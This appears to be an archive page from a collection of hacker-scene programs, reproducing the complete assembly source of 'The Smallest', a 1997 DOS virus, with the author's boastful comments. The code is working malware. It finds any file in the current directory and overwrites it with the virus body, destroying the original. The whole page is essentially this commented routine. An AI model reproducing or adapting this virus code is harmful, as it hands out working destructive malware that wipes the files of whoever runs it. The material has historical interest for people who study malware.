home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
VIRDCOLL.ZIP
/
SMAL#1.ZIP
/
SMAL#1.ASM
next >
Wrap
Assembly Source File
|
1997-07-26
|
2KB
|
42 lines
; Virus Name: The Smallest (cool name, ha'? :)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 31 Bytes
; Creation Time: about 3 min (original) + a little update (1 min)
;
; Some info: This is the smallest virus in the world (at this point) which
; return to DOS prompt after infection. It doesn't put you computer
; in an infinite loop when infecting. That's why I think this is the
; smallest overwritting working virus in the world.
;
; Well, dear Admiral Bailey I DID IT!!! :) No hard feelings... ;)
; I know that we're in 1997 (not in 1992) but what'a fuck?
; Btw: I don't do shit stuff like this all day... I just un-packed a YAM
; magazine and I saw "The Smurf virus", so...
;
; About the virus: - runtime overwritting virus
; - infect 1 file (of any kind) from current directory
;
.model tiny
.code
org 100h ;COM file
start:
mov ah,4eh ;find first file
lea dx,filespec ;what kind of files to search for
mov cl,20h ;cx=attribute
int 21h
mov ax,3d02h ;open the file for reading & writting
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... :)
mov ah,40h ;write the virus to file
lea dx,start ;begin with 100h
dec cx ;size of virus
int 21h
ret ;return
filespec db '*.*',0 ;we'll be looking for this kind of files
end start